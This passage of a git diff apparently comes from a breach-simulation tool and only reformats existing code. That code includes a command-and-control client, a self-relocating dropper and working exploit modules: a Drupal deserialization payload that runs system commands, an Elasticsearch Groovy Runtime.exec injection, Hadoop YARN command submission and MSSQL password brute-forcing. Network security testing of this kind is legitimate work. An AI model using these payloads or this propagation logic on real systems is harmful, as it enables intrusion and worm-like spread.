a service " + "via MS-SCMR.", } MIMIKATZ = { - ScanStatus.USED.value:"Windows module loader was used to load Mimikatz DLL.", - ScanStatus.SCANNED.value:"Monkey tried to load Mimikatz DLL, but failed.", + ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.", } MIMIKATZ_WINAPI = { - ScanStatus.USED.value:"WinAPI was called to load mimikatz.", - ScanStatus.SCANNED.value:"Monkey tried to call WinAPI to load mimikatz.", + ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.", } DROPPER = { - ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot." + ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." } SINGLETON_WINAPI = { - ScanStatus.USED.value:"WinAPI was called to acquire system singleton for monkey's " - "process.", - ScanStatus.SCANNED.value:"WinAPI call to acquire system singleton" - " for monkey process wasn't successful.", + ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's " + "process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful.", } DROPPER_WINAPI = { - ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot." + ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." } diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index 73f0dd9f705..a7654873832 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -35,8 +35,8 @@ def fix_obj_for_mongo(o): # objectSid property of ds_user is problematic and need this special treatment. # ISWbemObjectEx interface. Class Uint8Array ? if ( - str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) - == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}" + str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) + == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}" ): return o.Value except Exception: diff --git a/monkey/common/version.py b/monkey/common/version.py index 228163e9af0..3eb35274ec1 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -18,8 +18,7 @@ def get_version(build=BUILD): def print_version(): parser = argparse.ArgumentParser() parser.add_argument( - "-b", "--build", default=BUILD, help="Choose the build string for this version.", - type=str + "-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str ) args = parser.parse_args() print(get_version(args.build)) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index cc98c5e6d02..1fe19baacc7 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -52,32 +52,32 @@ def wakeup(parent=None, has_internet_access=None): has_internet_access = check_internet_access(WormConfiguration.internet_services) monkey = { - "guid":GUID, - "hostname":hostname, - "ip_addresses":local_ips(), - "description":" ".join(platform.uname()), - "internet_access":has_internet_access, - "config":WormConfiguration.as_dict(), - "parent":parent, + "guid": GUID, + "hostname": hostname, + "ip_addresses": local_ips(), + "description": " ".join(platform.uname()), + "internet_access": has_internet_access, + "config": WormConfiguration.as_dict(), + "parent": parent, } if ControlClient.proxies: monkey["tunnel"] = ControlClient.proxies.get("https") requests.post( - "https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(monkey), - headers={"content-type":"application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=20, + "https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(monkey), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=20, ) @staticmethod def find_server(default_tunnel=None): LOG.debug( - "Trying to wake up with Monkey Island servers list: %r" - % WormConfiguration.command_servers + "Trying to wake up with Monkey Island servers list: %r" + % WormConfiguration.command_servers ) if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) @@ -93,10 +93,10 @@ def find_server(default_tunnel=None): debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) requests.get( - f"https://{server}/api?action=is-up", # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=TIMEOUT_IN_SECONDS, + f"https://{server}/api?action=is-up", # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=TIMEOUT_IN_SECONDS, ) WormConfiguration.current_server = current_server break @@ -131,18 +131,17 @@ def keepalive(): if ControlClient.proxies: monkey["tunnel"] = ControlClient.proxies.get("https") requests.patch( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps(monkey), - headers={"content-type":"application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps(monkey), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return {} @@ -150,25 +149,24 @@ def keepalive(): def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: LOG.error( - "Trying to send %s telemetry before current server is established, aborting." - % telem_category + "Trying to send %s telemetry before current server is established, aborting." + % telem_category ) return try: - telemetry = {"monkey_guid":GUID, "telem_category":telem_category, "data":json_data} + telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} requests.post( - "https://%s/api/telemetry" % (WormConfiguration.current_server,), - # noqa: DUO123 - data=json.dumps(telemetry), - headers={"content-type":"application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/telemetry" % (WormConfiguration.current_server,), + # noqa: DUO123 + data=json.dumps(telemetry), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) @staticmethod @@ -176,19 +174,18 @@ def send_log(log): if not WormConfiguration.current_server: return try: - telemetry = {"monkey_guid":GUID, "log":json.dumps(log)} + telemetry = {"monkey_guid": GUID, "log": json.dumps(log)} requests.post( - "https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={"content-type":"application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(telemetry), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) @staticmethod @@ -197,33 +194,32 @@ def load_control_config(): return try: reply = requests.get( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return try: unknown_variables = WormConfiguration.from_kv(reply.json().get("config")) LOG.info( - "New configuration was loaded from server: %r" - % (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),) + "New configuration was loaded from server: %r" + % (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),) ) except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error( - "Error parsing JSON reply from control server %s (%s): %s", - WormConfiguration.current_server, - reply._content, - exc, + "Error parsing JSON reply from control server %s (%s): %s", + WormConfiguration.current_server, + reply._content, + exc, ) raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc) @@ -236,18 +232,17 @@ def send_config_error(): return try: requests.patch( - "https://%s/api/monkey/%s" - % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps({"config_error":True}), - headers={"content-type":"application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps({"config_error": True}), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return {} @@ -266,7 +261,7 @@ def download_monkey_exe(host): @staticmethod def download_monkey_exe_by_os(is_windows, is_32bit): filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit) + ControlClient.spoof_host_os_info(is_windows, is_32bit) ) if filename is None: return None @@ -287,7 +282,7 @@ def spoof_host_os_info(is_windows, is_32bit): else: arch = "x86_64" - return {"os":{"type":os, "machine":arch}} + return {"os": {"type": os, "machine": arch}} @staticmethod def download_monkey_exe_by_filename(filename, size): @@ -299,11 +294,11 @@ def download_monkey_exe_by_filename(filename, size): return dest_file else: download = requests.get( - "https://%s/api/monkey/download/%s" - % (WormConfiguration.current_server, filename), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, + "https://%s/api/monkey/download/%s" + % (WormConfiguration.current_server, filename), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, ) with monkeyfs.open(dest_file, "wb") as file_obj: @@ -316,8 +311,7 @@ def download_monkey_exe_by_filename(filename, size): except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) @staticmethod @@ -330,13 +324,13 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict): return None, None try: reply = requests.post( - "https://%s/api/monkey/download" - % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(host_dict), - headers={"content-type":"application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, + "https://%s/api/monkey/download" + % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(host_dict), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, ) if 200 == reply.status_code: result_json = reply.json() @@ -350,8 +344,7 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict): except Exception as exc: LOG.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, - exc + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return None, None @@ -379,11 +372,11 @@ def create_control_tunnel(): def get_pba_file(filename): try: return requests.get( - PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), - # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, + PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), + # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, ) except requests.exceptions.RequestException: return False @@ -392,14 +385,14 @@ def get_pba_file(filename): def get_T1216_pba_file(): try: return requests.get( - urljoin( - f"https://{WormConfiguration.current_server}/", # noqa: DUO123 - T1216_PBA_FILE_DOWNLOAD_PATH, - ), - verify=False, - proxies=ControlClient.proxies, - stream=True, - timeout=MEDIUM_REQUEST_TIMEOUT, + urljoin( + f"https://{WormConfiguration.current_server}/", # noqa: DUO123 + T1216_PBA_FILE_DOWNLOAD_PATH, + ), + verify=False, + proxies=ControlClient.proxies, + stream=True, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except requests.exceptions.RequestException: return False @@ -407,14 +400,14 @@ def get_T1216_pba_file(): @staticmethod def should_monkey_run(vulnerable_port: str) -> bool: if ( - vulnerable_port - and WormConfiguration.get_hop_distance_to_island() > 1 - and ControlClient.can_island_see_port(vulnerable_port) - and WormConfiguration.started_on_island + vulnerable_port + and WormConfiguration.get_hop_distance_to_island() > 1 + and ControlClient.can_island_see_port(vulnerable_port) + and WormConfiguration.started_on_island ): raise PlannedShutdownException( - "Monkey shouldn't run on current machine " - "(it will be exploited later with more depth)." + "Monkey shouldn't run on current machine " + "(it will be exploited later with more depth)." ) return True @@ -434,8 +427,8 @@ def can_island_see_port(port): @staticmethod def report_start_on_island(): requests.post( - f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", - data=json.dumps({"started_on_island":True}), - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, + f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", + data=json.dumps({"started_on_island": True}), + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, ) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index fdb649cad43..3d34688efc8 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -53,8 +53,8 @@ def __init__(self, args): self.opts, _ = arg_parser.parse_known_args(args) self._config = { - "source_path":os.path.abspath(sys.argv[0]), - "destination_path":self.opts.location, + "source_path": os.path.abspath(sys.argv[0]), + "destination_path": self.opts.location, } def initialize(self): @@ -80,18 +80,18 @@ def start(self): shutil.move(self._config["source_path"], self._config["destination_path"]) LOG.info( - "Moved source file '%s' into '%s'", - self._config["source_path"], - self._config["destination_path"], + "Moved source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], ) file_moved = True except (WindowsError, IOError, OSError) as exc: LOG.debug( - "Error moving source file '%s' into '%s': %s", - self._config["source_path"], - self._config["destination_path"], - exc, + "Error moving source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, ) # if file still need to change path, copy it @@ -100,16 +100,16 @@ def start(self): shutil.copy(self._config["source_path"], self._config["destination_path"]) LOG.info( - "Copied source file '%s' into '%s'", - self._config["source_path"], - self._config["destination_path"], + "Copied source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], ) except (WindowsError, IOError, OSError) as exc: LOG.error( - "Error copying source file '%s' into '%s': %s", - self._config["source_path"], - self._config["destination_path"], - exc, + "Error copying source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, ) return False @@ -117,7 +117,7 @@ def start(self): if WormConfiguration.dropper_set_date: if sys.platform == "win32": dropper_date_reference_path = os.path.expandvars( - WormConfiguration.dropper_date_reference_path_windows + WormConfiguration.dropper_date_reference_path_windows ) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux @@ -125,30 +125,30 @@ def start(self): ref_stat = os.stat(dropper_date_reference_path) except OSError: LOG.warning( - "Cannot set reference date using '%s', file not found", - dropper_date_reference_path, + "Cannot set reference date using '%s', file not found", + dropper_date_reference_path, ) else: try: os.utime( - self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) + self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) ) except OSError: LOG.warning("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( - parent=self.opts.parent, - tunnel=self.opts.tunnel, - server=self.opts.server, - depth=self.opts.depth, - location=None, - vulnerable_port=self.opts.vulnerable_port, + parent=self.opts.parent, + tunnel=self.opts.tunnel, + server=self.opts.server, + depth=self.opts.depth, + location=None, + vulnerable_port=self.opts.vulnerable_port, ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = ( - MONKEY_CMDLINE_WINDOWS % {"monkey_path":self._config["destination_path"]} - + monkey_options + MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]} + + monkey_options ) else: dest_path = self._config["destination_path"] @@ -156,28 +156,28 @@ def start(self): # and the inner one which actually # runs the monkey inner_monkey_cmdline = ( - MONKEY_CMDLINE_LINUX % {"monkey_filename":dest_path.split("/")[-1]} - + monkey_options + MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]} + + monkey_options ) monkey_cmdline = GENERAL_CMDLINE_LINUX % { - "monkey_directory":dest_path[0: dest_path.rfind("/")], - "monkey_commandline":inner_monkey_cmdline, + "monkey_directory": dest_path[0 : dest_path.rfind("/")], + "monkey_commandline": inner_monkey_cmdline, } monkey_process = subprocess.Popen( - monkey_cmdline, - shell=True, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - close_fds=True, - creationflags=DETACHED_PROCESS, + monkey_cmdline, + shell=True, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + creationflags=DETACHED_PROCESS, ) LOG.info( - "Executed monkey process (PID=%d) with command line: %s", - monkey_process.pid, - monkey_cmdline, + "Executed monkey process (PID=%d) with command line: %s", + monkey_process.pid, + monkey_cmdline, ) time.sleep(3) @@ -189,10 +189,9 @@ def cleanup(self): try: if ( - (self._config["source_path"].lower() != self._config[ - "destination_path"].lower()) - and os.path.exists(self._config["source_path"]) - and WormConfiguration.dropper_try_move_first + (self._config["source_path"].lower() != self._config["destination_path"].lower()) + and os.path.exists(self._config["source_path"]) + and WormConfiguration.dropper_try_move_first ): # try removing the file first @@ -200,24 +199,24 @@ def cleanup(self): os.remove(self._config["source_path"]) except Exception as exc: LOG.debug( - "Error removing source file '%s': %s", self._config["source_path"], exc + "Error removing source file '%s': %s", self._config["source_path"], exc ) # mark the file for removal on next boot dropper_source_path_ctypes = c_char_p(self._config["source_path"]) if 0 == ctypes.windll.kernel32.MoveFileExA( - dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT + dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT ): LOG.debug( - "Error marking source file '%s' for deletion on next boot (error " - "%d)", - self._config["source_path"], - ctypes.windll.kernel32.GetLastError(), + "Error marking source file '%s' for deletion on next boot (error " + "%d)", + self._config["source_path"], + ctypes.windll.kernel32.GetLastError(), ) else: LOG.debug( - "Dropper source file '%s' is marked for deletion on next boot", - self._config["source_path"], + "Dropper source file '%s' is marked for deletion on next boot", + self._config["source_path"], ) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 857137c7cc6..95de0ec0792 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -49,12 +49,12 @@ def _EXPLOITED_SERVICE(self): def __init__(self, host): self._config = WormConfiguration self.exploit_info = { - "display_name":self._EXPLOITED_SERVICE, - "started":"", - "finished":"", - "vulnerable_urls":[], - "vulnerable_ports":[], - "executed_cmds":[], + "display_name": self._EXPLOITED_SERVICE, + "started": "", + "finished": "", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], } self.exploit_attempts = [] self.host = host @@ -75,14 +75,14 @@ def send_exploit_telemetry(self, result): def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( - { - "result":result, - "user":user, - "password":password, - "lm_hash":lm_hash, - "ntlm_hash":ntlm_hash, - "ssh_key":ssh_key, - } + { + "result": result, + "user": user, + "password": password, + "lm_hash": lm_hash, + "ntlm_hash": ntlm_hash, + "ssh_key": ssh_key, + } ) def exploit_host(self): @@ -120,4 +120,4 @@ def add_executed_cmd(self, cmd): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info["executed_cmds"].append({"cmd":cmd, "powershell":powershell}) + self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index aaeba8f1c9d..50594e65621 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -61,7 +61,7 @@ def add_vulnerable_urls(self, potential_urls, stop_checking=False): node_url = urljoin(url, str(node_id)) if self.check_if_exploitable(node_url): self.add_vuln_url( - url + url ) # This is for report. Should be refactored in the future self.vulnerable_urls.append(node_url) if stop_checking: @@ -83,11 +83,11 @@ def check_if_exploitable(self, url): payload = build_exploitability_check_payload(url) response = requests.get( - f"{url}?_format=hal_json", # noqa: DUO123 - json=payload, - headers={"Content-Type":"application/hal+json"}, - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, + f"{url}?_format=hal_json", # noqa: DUO123 + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, ) if is_response_cached(response): @@ -103,11 +103,11 @@ def exploit(self, url, command): payload = build_cmd_execution_payload(base, cmd) r = requests.get( - f"{url}?_format=hal_json", # noqa: DUO123 - json=payload, - headers={"Content-Type":"application/hal+json"}, - verify=False, - timeout=LONG_REQUEST_TIMEOUT, + f"{url}?_format=hal_json", # noqa: DUO123 + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=LONG_REQUEST_TIMEOUT, ) if is_response_cached(r): @@ -140,9 +140,9 @@ def are_vulnerable_urls_sufficient(self): result = num_available_urls >= num_urls_needed_for_full_exploit if not result: LOG.info( - f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " - f"Drupal server " - f"but only {num_available_urls} found" + f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " + f"Drupal server " + f"but only {num_available_urls} found" ) return result @@ -158,7 +158,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 while lower < upper: node_url = urljoin(base_url, str(lower)) response = requests.get( - node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT + node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT ) # noqa: DUO123 if response.status_code == 200: if is_response_cached(response): @@ -171,30 +171,30 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 def build_exploitability_check_payload(url): payload = { - "_links":{"type":{"href":f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, - "type":{"target_id":"article"}, - "title":{"value":"My Article"}, - "body":{"value":""}, + "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, + "type": {"target_id": "article"}, + "title": {"value": "My Article"}, + "body": {"value": ""}, } return payload def build_cmd_execution_payload(base, cmd): payload = { - "link":[ + "link": [ { - "value":"link", - "options":'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' - 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' - 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' - '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' - 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' - 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' - 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' - 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' - "".replace("|size|", str(len(cmd))).replace("|command|", cmd), + "value": "link", + "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' + 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' + 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' + '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' + 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' + 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' + 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' + 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' + "".replace("|size|", str(len(cmd))).replace("|command|", cmd), } ], - "_links":{"type":{"href":f"{urljoin(base, '/rest/type/shortcut/default')}"}}, + "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}}, } return payload diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index aff5e1ffdea..f7e23d21a8a 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -34,11 +34,11 @@ class ElasticGroovyExploiter(WebRCE): # attack URLs MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = ( - """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD + """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD ) JAVA_CMD = ( - GENERIC_QUERY - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec( + GENERIC_QUERY + % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec( \\"%s\\").getText()""" ) @@ -53,8 +53,8 @@ def get_exploit_config(self): exploit_config["dropper"] = True exploit_config["url_extensions"] = ["_search?pretty"] exploit_config["upload_commands"] = { - "linux":WGET_HTTP_UPLOAD, - "windows":CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, + "linux": WGET_HTTP_UPLOAD, + "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, } return exploit_config @@ -73,8 +73,8 @@ def exploit(self, url, command): response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) except requests.ReadTimeout: LOG.error( - "Elastic couldn't upload monkey, because server didn't respond to upload " - "request." + "Elastic couldn't upload monkey, because server didn't respond to upload " + "request." ) return False result = self.get_results(response) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 02ec8165272..a30112ccece 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -64,27 +64,25 @@ def _exploit_host(self): def exploit(self, url, command): # Get the newly created application id resp = requests.post( - posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT + posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT ) resp = json.loads(resp.content) app_id = resp["application-id"] # Create a random name for our application in YARN rand_name = ID_STRING + "".join( - [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] ) payload = self.build_payload(app_id, rand_name, command) resp = requests.post( - posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, - timeout=LONG_REQUEST_TIMEOUT + posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) return resp.status_code == 202 def check_if_exploitable(self, url): try: resp = requests.post( - posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT, + posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT, ) except requests.ConnectionError: return False @@ -93,8 +91,7 @@ def check_if_exploitable(self, url): def build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, - vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] + self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] ) if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND @@ -102,22 +99,22 @@ def build_command(self, path, http_path): base_command = HADOOP_WINDOWS_COMMAND return base_command % { - "monkey_path":path, - "http_path":http_path, - "monkey_type":MONKEY_ARG, - "parameters":monkey_cmd, + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, } @staticmethod def build_payload(app_id, name, command): payload = { - "application-id":app_id, - "application-name":name, - "am-container-spec":{ - "commands":{ - "command":command, + "application-id": app_id, + "application-name": name, + "am-container-spec": { + "commands": { + "command": command, } }, - "application-type":"YARN", + "application-type": "YARN", } return payload diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 816c7d6b13c..24b46d27842 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -50,7 +50,7 @@ def __init__(self, host): self.cursor = None self.monkey_server = None self.payload_file_path = os.path.join( - MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME + MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME ) def _exploit_host(self): @@ -62,7 +62,7 @@ def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force( - self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list ) # Create dir for payload @@ -92,13 +92,13 @@ def run_payload_file(self): def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload( - command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) ) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path + payload_file_path=self.payload_file_path ) 